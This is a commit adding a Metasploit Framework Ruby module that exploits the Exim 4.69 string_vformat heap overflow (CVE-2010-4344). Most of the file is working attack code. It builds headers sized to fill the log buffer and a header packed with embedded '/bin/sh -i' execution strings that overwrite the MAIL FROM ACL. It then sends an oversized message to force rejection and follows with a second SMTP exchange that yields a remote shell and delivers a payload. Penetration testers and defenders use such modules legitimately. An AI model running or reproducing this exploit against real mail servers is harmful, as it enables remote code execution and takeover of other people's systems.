add exploit for cve-2010-4344
git-svn-id: file:///home/svn/framework3/trunk@11274 4d416f70-5f16-0410-b530-b9f4589650da
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Joshua Drake
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Smtp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Exim4 <= 4.69 string_format Function Heap Buffer Overflow',
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'Description' => %q{
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This module exploits a heap buffer overflow within versions of Exim prior to
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version 4.69. By sending a specially crafted message, an attacker can corrupt the
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heap and execute arbitrary code with the privileges of the Exim daemon.
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The root cause is that no check is made to ensure that the buffer is not full
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prior to handling '%s' format specifiers within the 'string_vformat' function.
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In order to trigger this issue, we get our message rejected by sending a message
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that is too large. This will call into log_write to log rejection headers (which
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is a default configuration setting). After filling the buffer, a long header
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string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
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FROM' command. By sending a second message, the string we sent will be evaluated
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with 'expand_string' and arbitrary shell commands can be executed.
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It is likely that this issue could also be exploited using other techniques such
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as targeting in-band heap management structures, or perhaps even function pointers
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stored in the heap. However, these techniques would likely be far more platform
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specific, more complicated, and less reliable.
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This bug was original found and reported in December 2008, but was not
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properly handled as a security issue. Therefore, there was a 2 year lag time
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between when the issue was fixed and when it was discovered being exploited
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in the wild. At that point, the issue was assigned a CVE and began being
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addressed by downstream vendors.
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An additional vulnerability, CVE-2010-4345, was also used in the attack that
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led to the discovery of danger of this bug. This bug allows a local user to
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gain root privileges from the Exim user account. We are not currently
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utilizing that bug within this module.
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},
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'Author' => [ 'jduck' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-4344' ],
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# [ 'OSVDB', '' ],
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# [ 'BID', '' ],
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# [ 'URL', '' ],
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[ 'URL', 'http://seclists.org/oss-sec/2010/q4/311' ],
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[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
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[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
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[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 8192, # much more in reality, but w/e
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby bash telnet',
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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[ 'Automatic', { }],
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],
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# Originally discovered/reported Dec 2 2008
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'DisclosureDate' => 'Dec 7 2010', # as an actual security bug
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'DefaultTarget' => 0))
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end
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def exploit
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from = datastore['MAILFROM']
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to = datastore['MAILTO']
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helo_host = "X" # From the mixin
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max_msg = 52428800
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msg_len = max_msg + 1000 # just for good measure
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log_buffer_size = 8192
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ip = Rex::Socket.source_address('1.2.3.4')
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# The initial headers will fill up the 'log_buffer' variable in 'log_write' function
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print_status("Constructing initial headers ...")
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log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> H=(#{helo_host}) [#{ip}]: message too big: read=#{msg_len} max=#{max_msg}\n"
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log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
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# Now, " " + hdrline for each header
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hdrs = []
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filler = rand_text_alphanumeric(8 * 16)
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# We want 2 bytes left, so we subtract from log_buffer_size here
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log_buffer_size -= 3 # we use 3 since they account for a trailing nul
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60.times { |x|
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break if log_buffer.length >= log_buffer_size
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hdr = "Header%04d: %s\n" % [x, filler]
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newlen = log_buffer.length + hdr.length
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if newlen > log_buffer_size
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newlen -= log_buffer_size
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# chop the excess, NOTE: the "2" is for the " " before the header
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off = hdr.length - newlen - 2 - 1
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hdr.slice!(off, hdr.length)
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hdr << "\n"
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end
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hdrs << hdr
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log_buffer << " " << hdr
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}
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hdrs1 = hdrs.join
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# This header will smash various heap stuff, hopefully including the ACL
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print_status("Constructing HeaderX ...")
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hdrx = 'HeaderX: '
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1.upto(50) { |a|
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3.upto(12) { |b|
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hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
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}
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}
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# In order to trigger the overflow, we must get our message rejected.
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# To do so, we send a message that is larger than the maximum.
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print_status("Constructing body ...")
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body = ''
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659883.times {
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body << ("MAILbomb" * 10) + "\n"
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}
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body_len = 53450538 - (53477372-52428800) + 1
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print_status("Combining parts ...")
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data = ''
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data << hdrs1
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data << hdrx
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data << "\n"
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data << body
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print_status("Connecting ...")
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connect_login
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print_status("Sending data ...")
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sock.put data
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print_status("Ending first message.")
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buf = raw_send_recv("\n.\n")
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# Should be: ""552 Message size exceeds maximum permitted\r\n"
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print_status("Result: #{buf.inspect}") if buf
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print_status("Sending second message ...")
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buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
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# Should be: "sh-x.x$ " !!
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print_status("MAIL result: #{buf.inspect}") if buf
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buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
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# Should be: "sh: RCPT: command not found\n"
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print_status("RCPT result: #{buf.inspect}") if buf
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print_status("Should have a shell now, sending our payload to it..")
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buf = raw_send_recv("\n" + payload.encoded + "\n\n")
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print_status("Payload result: #{buf.inspect}") if buf
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# Give some time for the payload to be consumed
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select(nil, nil, nil, 4)
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handler
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disconnect
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end
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end
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